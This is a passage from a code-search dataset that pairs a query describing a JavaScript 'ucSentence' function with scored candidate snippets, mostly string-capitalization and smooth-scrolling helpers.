menu\n\n\t\t\t\t\tif( $(window).width() < 768 ){\n\t\t\t\t\t\t$('.responsive-menu-toggle').removeClass('active');\n\t\t\t\t\t\t$('#Top_bar #menu').hide();\n\t\t\t\t\t}\n\n\t\t\t\t\t// offset\n\n\t\t\t\t\tvar headerFixedAbH = $('.header-fixed.ab-show #Action_bar').innerHeight();\n\t\t\t\t\tvar tabsHeaderH = $(hash).siblings('.ui-tabs-nav').innerHeight();\n\n\t\t\t\t\tvar offset = headerFixedAbH - tabsHeaderH - 0;\n\n\t\t\t\t\t// sticky height\n\n\t\t\t\t\tvar stickyH = fixStickyHeaderH();\n\n\t\t\t\t\t// FIX | Header below | 1st section\n\t\t\t\t\tif( $( 'body' ).hasClass( 'header-below' ) && $( '#Content' ).length ){\n\t\t\t\t\t\tif( $( hash ).offset().top < ( $( '#Content' ).offset().top + 60 ) ){\n\t\t\t\t\t\t\tstickyH = -1;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// animate scroll\n\n\t\t\t\t\t$( 'html, body' ).animate({\n\t\t\t\t\t\tscrollTop: $( hash ).offset().top - offset - stickyH\n\t\t\t\t\t}, 500);\n\n\t\t\t\t});\n\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "9520a3f8511ce3c8dc72ec975f53e3e8", "score": "0.56959605", "text": "function scrollToSection(evt){\n //get which nav menu item is chosen\n const secItem = evt.target;\n //get the content of the item to see which section\n const anchorID = secItem.getAttribute('href');\n //get the section to go to\n const sectionTo = document.querySelector(anchorID);\n \n \n sectionTo.scrollTo({top: 100,\n left: 100,\n behavior: 'smooth'});\n\n \n \n \n}", "title": "" }, { "docid": "03f3f719116aed4bd46bef3aa0d73687", "score": "0.56937355", "text": "function scrolltoTop(){\n\n let curPage = $('.screen-page.current');\n let OneSection = $('.screen-page').eq(0);\n\n roundedTransition(); // run transition\n\n setTimeout(function(){\n\n contentOutanimate(curPage); //content out\n displayInFooter(0); // footer\n\n OneSection.addClass('current');\n curPage.removeClass('current'); \n\n setTimeout(function(){\n contentInanimate(0);\n },250);\n\n },650); \n }", "title": "" }, { "docid": "1a9b34b4d50f5958eaf2dea65d1544d8", "score": "0.5690448", "text": "function goToFeatures() {\n var featuresDiv = document.getElementById(\"features\");\n smoothScroll(featuresDiv);\n}", "title": "" }, { "docid": "c4bc1b945fed338062a7aa7c6c244e50", "score": "0.5686765", "text": "function scrollMenu(){\n var sections = $('section')\n , div = $('div');\n\n $(window).on('scroll', function () {\n var cur_pos = $(this).scrollTop();\n\n sections.each(function() {\n var top = $(this).offset().top, // 50 is the nav height aprox, it says when each section becomes active\n bottom = top + 50;\n\n if (cur_pos >= top && cur_pos <= bottom) {\n div.find('.scroll').removeClass('active');\n sections.removeClass('active');\n\n $(this).addClass('active');\n div.find('a[href=\"#'+$(this).attr('id')+'\"]').addClass('active');\n }\n });\n });\n\n div.find('.scroll').on('click', function () {\n var $el = $(this)\n , id = $el.attr('href');\n\n $('html, body').animate({\n scrollTop: $(id).offset().top\n }, 1500);\n return false;\n });\n\n}", "title": "" } ]
554703d38d64db73153830a64fc3f546
usages: ucSentence(string) Returns a string with the first character of each sentence of given string It takes 1 parameter of string
[ { "docid": "5601927af7052e0fbce455cb797b9128", "score": "0.8261105", "text": "function ucSentence(str) {\n return str.replace(/.+?[\\.\\?\\!](\\s|$)/g, function (txt) {\n return txt.charAt(0).toUpperCase() + txt.substr(1).toLowerCase();\n });\n}", "title": "" } ]
[ { "docid": "b39f6b9671ca76003e3a35d1f39d265b", "score": "0.7703924", "text": "ucWords(str) {\n if (!str) return str;\n let strToArr = str.split(' ');\n\n for (let i = 0; i < strToArr.length; i++) {\n strToArr[i] = strToArr[i][0].toUpperCase() + strToArr[i].slice(1);\n }\n\n return strToArr.join(' ');\n }", "title": "" }, { "docid": "8fb49a80c9d65b41e4c0d65948e0a0ab", "score": "0.75289", "text": "function capitalizeWordInSentence(str){\n str = str.split(' ');\n for (var i=0; i<str.length; i++){\n str[i] = str[i].charAt(0).toUpperCase() + str[i].slice(1);\n }\n return str.join(' ');\n}", "title": "" }, { "docid": "7e93480c19061b5c4f905fb6d6562f33", "score": "0.74930596", "text": "function capitalize(sentence) {\n console.log(\"input:\", sentence);\n let wordsArray = sentence.split(\" \"); // split the sentence by spaces\n let capsArray = [];\n\n for (let i of wordsArray) {\n let caps = i[0].toUpperCase() + i.slice(1); // capitalize the first letter and append it to rest of the characters.\n capsArray.push(caps);\n }\n\n return capsArray.join(\" \"); // join by space.\n}", "title": "" }, { "docid": "7f132bd629f608a10134218b5bf8c6e9", "score": "0.7416617", "text": "ucFirst(str) {\n if (!str) return str;\n\n return str[0].toUpperCase() + str.slice(1);\n }", "title": "" }, { "docid": "f4b3f2c5ecb595556ef18563dd533a52", "score": "0.7379161", "text": "function capitalizeSentence(string) {\n\tvar strArr = string.split(/[\\s_]+/);\n\tfor (var word in strArr) {\n\t\tstrArr[word] = capitalize(strArr[word]);\n\t}\n\treturn strArr.join(\" \");\n}", "title": "" }, { "docid": "d213b95d6ff7d9d795fa6479e9eeebdc", "score": "0.7270044", "text": "function capitalizeAll(sentence){\n var wordArray = sentence.split(' ')\n wordArray.forEach( (val, ind) => {\n wordArray[ind] = val.charAt(0).toUpperCase() + val.substring(1)\n }) \n\n return wordArray.join(' ')\n}", "title": "" }, { "docid": "362b5403545e97dead316ff3c4405134", "score": "0.7239545", "text": "function sentenceCase(word) {\n return `${word[0].toUpperCase()}${word.substring(1)}`;\n}", "title": "" }, { "docid": "d98c1dc2c0abdf8d0e60e691a72684ab", "score": "0.72232234", "text": "function ucwords(str){\n\treturn str.replace(/\\w\\S*/g, function(txt){\n \treturn txt.charAt(0).toUpperCase() + txt.substr(1).toLowerCase();\n });\n}", "title": "" }, { "docid": "d487031c880cd7fc7b1c0d58da6f72a0", "score": "0.71684945", "text": "static capitalize(s){\r\n return s.charAt(0).toUpperCase() + s.slice(1);\r\n }", "title": "" }, { "docid": "86920df7cf1763c4447a873f803cd79f", "score": "0.7116168", "text": "function capitalize_words(string) {}", "title": "" }, { "docid": "9f10a20f32f50dfc9baeb51f49d42f34", "score": "0.7115585", "text": "function ucFirst(string) {\n var length = string.length;\n if (length > 1) {\n return string.substr(0, 1).toUpperCase() + string.substr(1, (length - 1)).toLowerCase()\n } else {\n return string.toUpperCase();\n }\n }", "title": "" }, { "docid": "cdb7cf364e4eade70401b03cc84a1092", "score": "0.70957315", "text": "function ucFirst(string) {\n return string.charAt(0).toUpperCase() + string.substr(1);\n}", "title": "" }, { "docid": "e1ea8f2ad888d9b99905ef1232502a7d", "score": "0.7092836", "text": "function ucwords(str) {\n return str.replace(/\\w\\S*/g, function (txt) {\n return txt.charAt(0).toUpperCase() + txt.substr(1).toLowerCase();\n });\n}", "title": "" }, { "docid": "8e373d3101fdaf6cbac76e9209a66b9d", "score": "0.70838547", "text": "function capitalizeWord(string) { // func w/ string as param \n let strings = \"\"; // string literal \n strings = string.charAt(0).toUpperCase().concat(string.slice(1));// at 0th index, uppercase, seperate strings, remove everything after 1st index\n return strings;// return new string \n}", "title": "" }, { "docid": "d236574414c6cc64216cd604604893fb", "score": "0.7083275", "text": "function CapitalizeFirst(str) {\n // Split the string into an array of strings\n let splittedArray = str.split(\" \");\n let a = [];\n\n // Loop through all the strings in the array\n for (let i = 0; i < splittedArray.length; i++) {\n let currentString = splittedArray[i];\n\n // If we are currently at the first string of the array (First word of the sentence)\n if (i === 0) {\n // temporary string\n let tempString = \"\";\n\n // Get the first letter of the string and capitalize it\n tempString += currentString[i][0].toUpperCase();\n\n // Loop through the string and\n // add the rest of the letters to tempString\n for (let y = 1; y < currentString.length; y++) {\n tempString += currentString[y];\n }\n\n // Set our current string with the new (capitalized) string\n currentString = tempString;\n }\n\n // Add it to the array\n a.push(currentString);\n }\n\n // Combine the array into one string\n return a.join(\" \");\n }", "title": "" }, { "docid": "317784c81f47aea75f7f86350a5bdc70", "score": "0.7081575", "text": "function capitalization(sentence) {\n let temp = sentence.split(\" \");\n let modifiedTemp = temp.map(item => {\n let res = item[0].toUpperCase() + item.substring(1);\n return res;\n });\n return modifiedTemp.join(\" \");\n}", "title": "" }, { "docid": "61c433f5ee48f0046fddff041b00cb47", "score": "0.7065386", "text": "ucWordsNotUsingMethods(str) {\n if (!str) return str;\n let newStr = str[0].toUpperCase();\n\n for (let i = 1; i < str.length; i++) {\n if (str[i] === ' ') {\n newStr += str[i] + str[i + 1].toUpperCase();\n i++;\n } else {\n newStr += str[i];\n }\n }\n\n return newStr;\n }", "title": "" }, { "docid": "69363f42e1a3c006da4b979af17ef42e", "score": "0.70551866", "text": "function ucFirstChar(string) \n{\n if(!string || string.len === 0){\n return '';\n }\n \n return string.charAt(0).toUpperCase() + string.slice(1).toLowerCase();\n}", "title": "" }, { "docid": "d500c40fa923c9ea411e1be6d46bfeae", "score": "0.70453453", "text": "function ucFirst(str) {\n return str.charAt(0).toUpperCase() + str.slice(1);\n}", "title": "" }, { "docid": "cc1adf7e5a0e5d3e3366d5832180766b", "score": "0.70363843", "text": "function capitalizeWord(string) {\n return string[0].toUpperCase() + string.substr(1,string.length);\n \n}", "title": "" }, { "docid": "da7670c63d53a5f47cbd9171d9d84699", "score": "0.7036032", "text": "function capitalize1(str){\n let result = str[0].toUpperCase() //A short sentence\n\n for(let i = 1; i < str.length; i++){\n if(str[i - 1] === ' '){\n result += str[i].toUpperCase()\n }else{\n result += str[i] \n }\n }\n\n return result\n}", "title": "" }, { "docid": "932754ac82885679cd85c27603630277", "score": "0.7035435", "text": "static capitalize(string){\n // get first letter of word ( s) upcase it ( S ) , add the rest to it ( String)\n return string.charAt(0).toUpperCase() + string.slice(1) \n }", "title": "" }, { "docid": "a6c4ad39dc1b21ecb7e7602a3e92d4c1", "score": "0.70041895", "text": "function ucfirst(string){\r\n return string.charAt(0).toUpperCase() + string.slice(1);\r\n }", "title": "" }, { "docid": "14dea59be73c3c4f4db6a539d54bf5f3", "score": "0.7001107", "text": "ucFirstNotUsingMethods(str) {\n if (!str) return str;\n\n let newStr = str[0].toUpperCase();\n\n for (let i = 1; i < str.length; i++) {\n newStr += str[i];\n }\n\n return newStr;\n }", "title": "" }, { "docid": "2ce10ea3c222d0a04411e0255ea7d2f0", "score": "0.70005345", "text": "function capitalize(s)\n{\n return s[0].toUpperCase() + s.slice(1);\n}", "title": "" }, { "docid": "b49bb9c7e776462abac9c26d83c35d49", "score": "0.697677", "text": "static capitalize(string) {\n let newWord = string.substring(1)\n let first = string.slice(0,1).toUpperCase()\n return first+newWord\n }", "title": "" }, { "docid": "4e23fcadc556cb05035e783ecf7da0df", "score": "0.6970143", "text": "function capitalize(word){\r\n return word[0].toLocaleUpperCase() + word.slice(1);\r\n}", "title": "" }, { "docid": "c4820d0bcca0df412763904ed4ff6951", "score": "0.6968576", "text": "function capitalizeWord(string) {\n // take string of one word and return the word with its first letter capitalized\n //returning first letter capitalized plus the original string without first value (\"s\")\n return string[0].toUpperCase() + string.slice(1); \n \n}", "title": "" }, { "docid": "a5adab8c123a2bf913faf3ae9cb32d0b", "score": "0.6968529", "text": "function capitalize(s)\n {\n return s[0].toUpperCase() + s.slice(1);\n }", "title": "" }, { "docid": "6f24bf8d4c7148f8d5cc6c56e749eabf", "score": "0.6953739", "text": "function decapitalize(s) {\n return s[0].toLowerCase() + s.slice(1);\n }", "title": "" }, { "docid": "f5cd43788120f1ddf5d9b03a9f02d5c5", "score": "0.6952734", "text": "function capitalize(s) {\n return s.charAt(0).toUpperCase() + s.slice(1);\n }", "title": "" }, { "docid": "2df030b307da2fcbb53a49480ff3274d", "score": "0.6932291", "text": "function capitalize(s) {\r\n return s.charAt(0).toUpperCase() + s.slice(1)\r\n}", "title": "" }, { "docid": "07831460a23f4152d6be8b1bacb63ba4", "score": "0.6928731", "text": "function capitalizeSentence(e) {\n let array = e.split(' ');\n console.log(array)\n var capitalizedSentence = '';\n for (var i = 0; i < array.length; i++) {\n let Word = array[i]\n let text = ''\n for (j = 0; j < Word.length; j++) {\n if (j === 0) {\n text += Word[j].toUpperCase()\n } else {\n text += Word[j].toLowerCase()\n }\n }\n capitalizedSentence += text + ' ';\n }\n return capitalizedSentence\n }", "title": "" }, { "docid": "4355b9207ef7f81d38559f49fb3b5968", "score": "0.69211024", "text": "static capitalize(string){\n return string[0].toUpperCase() + string.slice(1)\n }", "title": "" }, { "docid": "4355b9207ef7f81d38559f49fb3b5968", "score": "0.69211024", "text": "static capitalize(string){\n return string[0].toUpperCase() + string.slice(1)\n }", "title": "" }, { "docid": "3bca539c54e54e0f7375027439eedf07", "score": "0.69179493", "text": "function capitalizeWord(string) {\n return string[0].toUpperCase() + string.slice(1);\n}", "title": "" }, { "docid": "3bca539c54e54e0f7375027439eedf07", "score": "0.69179493", "text": "function capitalizeWord(string) {\n return string[0].toUpperCase() + string.slice(1);\n}", "title": "" }, { "docid": "3bca539c54e54e0f7375027439eedf07", "score": "0.69179493", "text": "function capitalizeWord(string) {\n return string[0].toUpperCase() + string.slice(1);\n}", "title": "" }, { "docid": "c3e9bda2fabcd52728820476f0c42ba5", "score": "0.6916318", "text": "function capitalizeEach(string) {\n //your code here!\n // string.split(\" \") splits the string of words and indexes them in an array\n // .map goes through each index (word)\n // x[0].toUpperCase() takes the 0 index of x (first letter of the current word in the array) and uppercases it\n // x.slice(1) slices x (current word in the array) at the first index to separate the first letter from the rest of the word\n var capLetter0 = string.split(\" \").map(function(x){\n return x[0].toUpperCase() + x.slice(1);\n })\n\n return capLetter0.join(\" \")\n}", "title": "" }, { "docid": "db3c805dc90e7747934fe307ce3826f7", "score": "0.69121057", "text": "function capitalize2(str){\n const words = []\n\n for(let word of str.split(' ')){ //['a','short','sentence']\n words.push(word[0].toUpperCase() + word.slice(1))\n }\n\n return words.join(' ')\n}", "title": "" }, { "docid": "66ecf108abc9b65a3bb94cad5ec0c9a0", "score": "0.69094247", "text": "function capitalizeWord(string) {\n \n var restOfWord = \"\"\n for (var i = 1; i < string.length; i++){\n restOfWord += string[i]\n }\n return string[0].toUpperCase() + restOfWord\n}", "title": "" }, { "docid": "b654bc5db822c8d3a5b1f0b7c54bbd6f", "score": "0.69060135", "text": "function ucwords(str)\n{\n return (str + '').replace(/^([a-z])|\\s+([a-z])/g, function ($1) {\n return $1.toUpperCase();\n });\n}//end function", "title": "" }, { "docid": "d9dff2f53eb3236dbd49967c88a9ee14", "score": "0.6902821", "text": "function capitalize(s) {\n return s.toString().charAt(0).toUpperCase() + s.toString().toLowerCase().slice(1);\n }", "title": "" }, { "docid": "5e9862c88829afd71f4f923966fda90f", "score": "0.6890317", "text": "function capitalize(string) {\r\n\tstring = string.toLowerCase();\r\n string = string.replace(/^(.)|\\s(.)/g, function ($1) { return $1.toUpperCase(); });\r\n return string.replace(\"U.s.\", \"U.S.\");\r\n}", "title": "" }, { "docid": "8a277b682fb891328dc40d40ba9f4f89", "score": "0.6888401", "text": "function stringCapitalize(string) {\n var splitWord = string.split(\" \")\n for (var i = 0; i < splitWord.length; i++) {\n splitWord[i] = splitWord[i].charAt(0).toUpperCase() + splitWord[i].slice(1);\n }\n joined = splitWord.join(\" \")\n console.log(joined);\n}", "title": "" }, { "docid": "e73adafd1d2dc6ca260194137ae4b5fe", "score": "0.6879012", "text": "function capitalizeWord(string) {\n //return the first letter of the word capitalized\n return string[0].toUpperCase() + string.slice(1);\n}", "title": "" }, { "docid": "a8760ebd080b0015f13e1fe108df2fbe", "score": "0.68737626", "text": "function sentenceCase(str){\n // Replace first char of each sentence (new line or after '.\\s+') to\n // UPPERCASE\n return lowerCase(str).replace(/(^\\w)|\\.\\s+(\\w)/gm, upperCase);\n}", "title": "" }, { "docid": "0ccad874a667434b88f2db874e5be375", "score": "0.68616635", "text": "function ucwords(str) {\n\n return (str + '').replace(/^([a-z])|\\s+([a-z])/g, function ($1) {\n return $1.toUpperCase();\n\t});\n\n}", "title": "" }, { "docid": "ca9470b567184f6f29aada393af8e01d", "score": "0.6855665", "text": "function capitalizeWord(string) {\n return string.charAt(0).toUpperCase() + string.slice(1);\n}", "title": "" }, { "docid": "5a28610257bbfb9f27031fcd543e6de5", "score": "0.685298", "text": "function ucwords(str) {\n txt = str.toLowerCase().replace(/\\b[a-z]/g, function(letter) {\n return letter.toUpperCase();\n });\n\n return txt;\n}", "title": "" }, { "docid": "9ec50c251ec489f0c289fad5d43c05e3", "score": "0.6851999", "text": "function capitalizeWord(string) {\n// The first index of agrument will be capitalized and concat it to string starting with\n// the second character/ first index.\n return string[0].toUpperCase() + string.substring(1);\n}", "title": "" }, { "docid": "91909d47fae1a36ca393d350cd66acfe", "score": "0.6850137", "text": "firstCapString (s) {\n let retString = '';\n\n if (typeof s != 'undefined' && s != null) {\n let stringArray = s.toString().split(' '); // split on space to get each word\n\n for(let i = 0, l = stringArray.length; i < l; i++) {\n retString += stringArray[i].charAt(0).toUpperCase() + stringArray[i].slice(1).toLowerCase() + \" \";\n } \n } \n return retString.trim();\n }", "title": "" }, { "docid": "31aedcf45d38d3e5c458ab03b7b44ac1", "score": "0.68481004", "text": "function capitalize(string){\n\n\n return string.charAt(0).toUpperCase()+string.slice(1).toLowerCase();\n\n}", "title": "" }, { "docid": "e9e0316c4fc584a57823b1c92207133e", "score": "0.68449163", "text": "function ucwords (str) {\n\treturn (str + '').replace(/^([a-z])|\\s+([a-z])/g, function ($1) {\n\t\treturn $1.toUpperCase();\n\t});\n}", "title": "" }, { "docid": "cd1eb70e568ac2524df94bdbd5f19343", "score": "0.6834885", "text": "static capitalize(string){\n return string.split(\" \").map(word => word.charAt(0).toUpperCase() + word.substring(1)).join(' ')\n\n }", "title": "" }, { "docid": "605288a2f55ae342c13f8cc67a5bda2d", "score": "0.6833682", "text": "static capitalize(string){\n return string.replace(string[0],string[0].toUpperCase())\n }", "title": "" }, { "docid": "39bd60172cf8abe78cda6e15b0cd8dbd", "score": "0.683227", "text": "function capitalizeWords(string){\n return string.toUpperCase()\n\n}", "title": "" }, { "docid": "59c5b4844b0c52f05c85b38661f23c87", "score": "0.6830611", "text": "function capitalize(s) {\n return s.charAt(0).toUpperCase() + s.slice(1)\n}", "title": "" }, { "docid": "041b6742290ea20d91e7d94eaf7d94df", "score": "0.682568", "text": "static capitalize(string){\n return string.charAt(0).toUpperCase() + string.slice(1)\n }", "title": "" }, { "docid": "041b6742290ea20d91e7d94eaf7d94df", "score": "0.682568", "text": "static capitalize(string){\n return string.charAt(0).toUpperCase() + string.slice(1)\n }", "title": "" }, { "docid": "0a49e9ca1528c44dee7a82c6fe04c2ee", "score": "0.6825107", "text": "function capitalizeWords (strInput){\n var strToArr = strInput.split(' ');\n var firstLetterUpp = strToArr.map(elem => \n `${elem[0].toUpperCase()}${elem.slice(1)}`\n );\n return firstLetterUpp.join(' ');\n}", "title": "" }, { "docid": "cd7d78272e3535960b8de0cec9f2c37d", "score": "0.6821621", "text": "function f(str) { \n var arrOfWords = str.toLowerCase().split(\" \");\n for (let i = 0; i < arrOfWords.length; i++) {\n arrOfWords[i] = arrOfWords[i].charAt(0).toUpperCase() + arrOfWords[i].slice(1); \n } \n return arrOfWords.join(\" \");\n }", "title": "" }, { "docid": "25d654a12e3ebf12d50d82bfd86bdd48", "score": "0.68207234", "text": "function titleCase(str) {\r\n \r\n //1.lowerCase the given sentence.\r\n str = str.toLowerCase();\r\n \r\n //2.Split the given srting.\r\n str = str.split(' ');\r\n \r\n //3. for loop iterates through the words and cpatalizes the first letter.\r\n for(var i = 0; i < str.length; i++){\r\n str[i] = str[i].charAt(0).toUpperCase() + str[i].slice(1);\r\n \r\n }\r\n \r\n //Return the string by joining it.\r\n return str.join(' ');\r\n \r\n}", "title": "" }, { "docid": "6424eb52844dc41a03ffc79983200c39", "score": "0.6818079", "text": "function capitalize(s) {\n return s.charAt(0).toUpperCase() + s.slice(1);\n}", "title": "" }, { "docid": "0b854ec07d7083b775f0343e8bd7594e", "score": "0.6805196", "text": "function titleCase(titleString)\r\n{\r\n var wordsArray = titleString.split(\" \"); // first split the sentence into an array of strings(words)\r\n for (var i in wordsArray) // for each word position in array\r\n {\r\n wordsArray[i] = wordsArray[i].charAt(0).toUpperCase()+wordsArray[i].slice(1); // set the word at that position to capitalized first letter and rest of the word\r\n }\r\n\r\n var returnTitle = wordsArray.join(\" \"); // now convert the array back to a string with space as a delimiter and assign it to a new var called returnstring\r\n\r\n return returnTitle; // return the string with uppercase first letters\r\n}", "title": "" }, { "docid": "34a3c54af9a245a50d3e561228f7170c", "score": "0.68011194", "text": "jadenCasingStrings()\n {\n var str = prompt(\"Enter some sentence\", \"\");\n var str_split = str.trim().split(\" \");\n var output = \"\";\n\n for(var i = 0; i < str_split.length; i++)\n { \n output += str_split[i].charAt(0).toUpperCase() + str_split[i].slice(1) + \" \"; \n } \n output = output.trim();\n document.write(output); \n }", "title": "" }, { "docid": "dcba8fd45ac733bd01b5ec455ad24e99", "score": "0.67979974", "text": "function capitalize_Words(inString) {\n return inString.replace(/\\w\\S*/g, function(txt){return txt.charAt(0).toUpperCase() + \n txt.substr(1).toLowerCase();});\n}", "title": "" }, { "docid": "1b549f1c7b5e414fc7b54607e4c673ea", "score": "0.67973423", "text": "function capitalize(sen) {\n var arr = sen.split(' ');\n for (var i in arr) {\n arr[i] = arr[i][0].toUpperCase() + arr[i].slice(1);\n}\nreturn arr.join(' ');\n}", "title": "" }, { "docid": "9a2c03489062b1e3e7c1d7b876f0d0d1", "score": "0.679312", "text": "static capitalize(string){\n return string.charAt(0).toUpperCase() + string.slice(1);\n\n }", "title": "" }, { "docid": "c1106ff2e69dd8f55b65bf6bd1f758e2", "score": "0.67900854", "text": "function capitalize(string){\n var newString=string.charAt(0).toUpperCase()+string.slice(1)\n return newString\n\n}", "title": "" }, { "docid": "2633bc134a71f8e2cfd0bc7da45d0e9c", "score": "0.6789295", "text": "function capitalizeWord(string) {\n // capitalize the first letter of string\n return string.charAt(0).toUpperCase() + string.slice(1);\n}", "title": "" }, { "docid": "9a8b8b7018a5527939b41b7b3e27d642", "score": "0.6778244", "text": "function capitalize(str){\n // Map each word in the string.\n // Concatinate the first letter uppercase with the rest of the word.\n // Join it back together after the mapping has taken place.\n return str.split(\" \").map((el)=>{\n //e.g \"C\" + \"ode\"\n return el.charAt(0).toUpperCase() + el.substring(1);\n }).join(\" \");\n}", "title": "" }, { "docid": "066a52f3580672560b1244e04ff0454b", "score": "0.6776437", "text": "function capitalize() {\n return this.charAt(0).toUpperCase() + this.substring(1).toLowerCase();\n }", "title": "" }, { "docid": "c02c676759d76d4a0f4152ee115c29e8", "score": "0.67728794", "text": "function capitalizeFirstLetter(string) {return string.charAt(0).toUpperCase() + string.slice(1);}", "title": "" }, { "docid": "280a05cc0794e090a0a383e750ac0835", "score": "0.676395", "text": "function capitalizeAllWords(string) {\n //split string into array\n var splitStr = string.split(\" \");\n //loop through array\n for(var i = 0; i < splitStr.length; i++) {\n splitStr[i] = splitStr[i][0].toUpperCase() + splitStr[i].slice(1);\n }\n //return splitstr joined back together\n return splitStr.join(\" \");\n}", "title": "" }, { "docid": "31b49cea34458c5797e5aa13350c7be7", "score": "0.6758177", "text": "function capitalizeWord (string) {\n\tvar newString = string.slice(1);\n\treturn string[0].toUpperCase() + newString; \n}", "title": "" }, { "docid": "ebea0cec65bbf538b037e8bd73439b23", "score": "0.6751676", "text": "function makeIntoTitle(sentence) {\n //take full sentence\n const sentenceArray = sentence.split(\" \"); // split sentence into array of individual words\n let titleWordArray = []; //create empty array\n for (i = 0; i < sentenceArray.length; i++) {\n // iterate over each word in split array, push capitalized words into new array\n titleWordArray.push(\n sentenceArray[i].slice(0, 1).toUpperCase() +\n sentenceArray[i].slice(1, sentenceArray[i].length).toLowerCase()\n );\n // console.log(titleWord);\n }\n const title = titleWordArray.join(\" \"); //join capitalized words into new sentence\n // console.log(title);\n return title;\n\n // let titleSentence = sentenceArray.join(\" \");\n}", "title": "" }, { "docid": "a56f2fb60105a057626b4eca8ecf97b7", "score": "0.67499775", "text": "function capitalise ( s ) {\n\t return s.slice(0,1).toUpperCase() + s.slice(1);\n\t }", "title": "" }, { "docid": "782c707ef00a54ac661b35cbe7cbbac2", "score": "0.6743289", "text": "function ucfirst (str) {\r\n // * example 1: ucfirst('kevin van zonneveld');\r\n // * returns 1: 'Kevin van zonneveld' \r\n str += '';\r\n var f = str.charAt(0).toUpperCase();\r\n return f + str.substr(1);\r\n}", "title": "" }, { "docid": "5a708ef936271056aa5717a6618bc4f4", "score": "0.67103755", "text": "function sentenceCase (str) {\n if ((str===null) || (str===''))\n return false;\n else\n str = str.toString();\n\n return str.replace(/\\w\\S*/g, function(txt){return txt.charAt(0).toUpperCase() + txt.substr(1).toLowerCase();});\n}", "title": "" }, { "docid": "4f47763500f0c692b6c74cda883b6896", "score": "0.67056423", "text": "static capitalize(string) {\n return string[0].toUpperCase() + string.slice(1)\n }", "title": "" }, { "docid": "0dc6e82cbe8ff641392c61e1c96227ab", "score": "0.6705523", "text": "function capitalizeAllWords(string) {\n // capitilize all words in a string\n //console.log(string);\nvar str = string.split(\" \");\n// loop through the string and capitilize all of the first letters of the words\nfor(let i = 0; i < str.length; i++){\n str[i] = str[i][0].toUpperCase() + str[i].substring(1);\n // join the string with a space\n} return str.join(\" \");\n\n}", "title": "" }, { "docid": "76159693a463a5eab14858fbb4ca10fa", "score": "0.6702706", "text": "function capitalizeFirstLetter(str){\n var newwordss =[];\n str.split(' ').forEach(a => {\n a= (a.toUpperCase().slice(0,1) + a.toLowerCase().slice(1) + ' ' );\n newwordss.push(a)\n });\n return newwordss.join('').trim();\n}", "title": "" }, { "docid": "9322c2e83c8d9034cc3b71388944fc13", "score": "0.6702699", "text": "function capitalize(string) \n{\n return string.charAt(0).toUpperCase() + string.slice(1);\n}", "title": "" }, { "docid": "9322c2e83c8d9034cc3b71388944fc13", "score": "0.6702699", "text": "function capitalize(string) \n{\n return string.charAt(0).toUpperCase() + string.slice(1);\n}", "title": "" }, { "docid": "808be35d6ac5f2a0f7857763970bee3c", "score": "0.6701186", "text": "static capitalize(string){\n let arr=string.split(' ');\n string=function(){\n let string=\"\";\n \n for(let e of arr.map(function(a){\n return a.charAt(0).toUpperCase()+a.slice(1)\n }) ){\n string+=e+\" \";\n }\n return string\n }()\n return string.slice(0,(string.length-1))\n }", "title": "" }, { "docid": "d2e27f5f3a266de18d0705ef59500920", "score": "0.6694856", "text": "static capitalize(str){\n return str.charAt(0).toUpperCase()+str.substring(1);\n }", "title": "" }, { "docid": "2df3c1438a39465beed60c2934f02961", "score": "0.6692414", "text": "function reCapitalize(sentence, upper, lower) {\n\n var newLower = lower.split('');\n var newUpper = upper.split('');\n var splitedSentence = sentence.split('');\n\n\n for (var i = 0; i < splitedSentence.length; i++) {\n for (j = 0; j < newUpper.length || j < newLower.length; j++) {\n if (splitedSentence[i] === newUpper[j]) {\n splitedSentence[i] = newLower[j];\n // } else if (splitedSentence[i] === newLower[j]) {\n // splitedSentence[i] = newUpper[j];\n } else if (splitedSentence[i] === newLower[j]) {\n splitedSentence[i] = newUpper[j];\n\n }\n\n }\n }\n return splitedSentence.join('').toString();\n}", "title": "" }, { "docid": "d5045d79e1315571557a0e9d2cc1b19c", "score": "0.6689171", "text": "function capitalize(s) {\n if (!(s.length == 0)) {\n return s[0].toUpperCase() + s.slice(1);\n }\n}", "title": "" }, { "docid": "ece7fd24f49e0f7e0ddaa73ed0485eb4", "score": "0.6676168", "text": "function ucfirst(string) {\n return string.charAt(0).toUpperCase() + string.slice(1);\n}", "title": "" }, { "docid": "87d71f39ebe56f4d018c77cf26bcf3ef", "score": "0.6674238", "text": "function capitalizeWord(string) {\n //Use template literals to return 0 index of string to upper case added to string sliced at index 1. \n return `${string[0].toUpperCase()}${string.slice(1)}`;\n}", "title": "" }, { "docid": "2054c246885c7964ce84b1045aa02eb2", "score": "0.6672958", "text": "function capitalizeAllWords(string) {\n var splitString = string.toLowerCase().split(' ');\n for (let i = 0; i < splitString.length; i++) {\n \n splitString[i] = splitString[i].charAt(0).toUpperCase() + splitString[i].substring(1); \n \n \n }\n \n return splitString.join(' '); \n}", "title": "" }, { "docid": "0637084ad60537e9dd671a27a73360f4", "score": "0.666752", "text": "function capitalizeWord(string) {\n return string.slice(0, 1).toUpperCase() + string.slice(1);\n}", "title": "" }, { "docid": "826151f48a38904d730391f9c4b1777d", "score": "0.66573346", "text": "function capitalize(string){\n return string.charAt(0).toUpperCase() + string.slice(1).toLowerCase();\n}", "title": "" }, { "docid": "1b35f15ecce5ae7538c6e26c58912062", "score": "0.6657162", "text": "function capitalizeAllWords(string) { // func w/ string as param \n let stringz = string.split(\" \"); // split into new strings \n for(let i = 0; i < stringz.length; i++){ // for loop over strings \n stringz[i] = capitalizeWord(stringz[i]); // Using capitialize word, to capitalize indiv strings \n }\n return stringz.join(\" \");// joining said strings once uppercased.\n \n}", "title": "" }, { "docid": "e5b7cfef8cde90354c2f973a07e169d0", "score": "0.6654025", "text": "function capitalize(inputStr) {\n var splits = inputStr.split(\" \");\n var outputStr = \"\";\n\n for (let i = 0; i < splits.length; i++) {\n let word = splits[i];\n let firstLetter = word.substring(0, 1).toUpperCase();\n let Remainder = word.substring(1, word.length)\n outputStr += firstLetter + Remainder + \" \";\n }\n\n console.log(outputStr)\n}", "title": "" }, { "docid": "9abf064814521746c3d9a8187b21acb4", "score": "0.6643926", "text": "function titleCase(str) {\n let array = str.toLowerCase().split(\" \");\n let newSentence = \"\";\n\n for (let i = 0; i < array.length; i++) {\n newSentence += array[i][0].toUpperCase() + array[i].substr(1) + \" \";\n }\n str = newSentence;\n return str;\n}", "title": "" }, { "docid": "c87e34202a21c6aae6b94824ef40e861", 